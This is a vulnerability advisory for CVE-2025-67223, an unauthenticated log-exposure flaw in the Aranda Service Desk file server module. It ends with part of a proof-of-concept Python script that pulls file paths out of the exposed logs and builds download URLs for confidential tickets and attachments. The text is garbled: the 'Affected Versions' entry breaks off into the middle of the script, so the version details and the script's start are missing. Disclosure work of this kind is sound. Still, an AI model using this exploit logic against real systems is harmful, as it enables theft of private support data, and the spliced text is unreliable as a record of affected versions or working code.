# CVE-2025-67223: Aranda Service Desk Access Control Error and Information Disclosure ## Vulnerability Overview A critical vulnerability was discovered in the file management module of Aranda Service Desk (specifically the Aranda File Server - AFS module). The system stores daily activity logs in a public directory (`/AFS/logs/`) using predictable filenames (e.g., `YYYYMMDD.log`) without any access restrictions. **Risk Level: Critical** This vulnerability allows unauthenticated remote attackers to automate the iteration and systematic downloading of Aranda's logs. The core issue is that these log files expose the virtual paths of all uploaded files on the system, granting attackers the ability to arbitrarily view and export support tickets, confidential Aranda internal cases, and all associated sensitive file attachments. ## Affected Scope * **Affected Product**: Aranda Service Desk (Aranda File Server - AFS module) * **Affected Versions**: 1: path = "ServiceCalls/" + parts[1].split()[0] extracted_paths.append(path) elif "absolute file path" in line.lower(): # Extract absolute path parts = line.split("absolute file path: ") if len(parts) > 1: path = parts[1].strip() extracted_paths.append(path) # 3. Access extracted paths print(f"\n[+] Final Report: {len(extracted_paths)} files exposed within scope") for path in extracted_paths: full_url = BASE_URL + path print(full_url) # Add download logic here ```